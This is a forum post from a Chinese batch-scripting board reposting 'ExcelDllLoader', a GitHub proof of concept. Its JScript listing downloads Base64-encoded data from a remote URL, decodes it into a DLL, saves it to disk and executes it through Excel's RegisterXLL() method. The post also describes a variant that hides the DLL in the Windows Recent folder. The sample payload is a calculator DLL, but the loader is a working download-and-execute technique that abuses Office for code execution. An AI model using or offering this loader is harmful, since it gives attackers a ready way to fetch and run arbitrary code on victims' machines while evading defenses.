Board logo

标题: [转载代码] ExcelDllLoader [打印本页]

作者: codegay    时间: 2017-7-25 03:44     标题: ExcelDllLoader

https://github.com/3gstudent/ExcelDllLoader

Execute DLL via the Excel.Application object's RegisterXLL() method

ExcelDllLoader.js:

Check if Microsoft Office has been installed
Download the dll from Github
Save the dll to %appdata%\Microsoft\Windows\Recent
Load it via the Excel.Application object's RegisterXLL() method
ExcelDllLoader(Base64decode).js:

Download the Base64 encoded text from Github
Base64 decoded and get the calc.dll
Save the dll to c:\test\calc.dll
Load it via the Excel.Application object's RegisterXLL() method



ExcelDllLoader(Base64decode).js:
  1. x="c:\\test\\calc.dll";
  2. h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  3. h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);
  4. h.Send();
  5. enc=new ActiveXObject("System.Text.ASCIIEncoding");
  6. length=enc.GetByteCount_2(h.ResponseText);
  7. ba=enc.GetBytes_4(h.ResponseText);
  8. transform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
  9. ba=transform.TransformFinalBlock(ba,0,length);
  10. s=new ActiveXObject("ADODB.Stream");
  11. s.Type=1;
  12. s.Open();
  13. s.Write(ba);
  14. s.SaveToFile(x,2);
  15. new ActiveXObject("Excel.Application").RegisterXLL(x);
复制代码





欢迎光临 批处理之家 (http://bbs.bathome.net/) Powered by Discuz! 7.2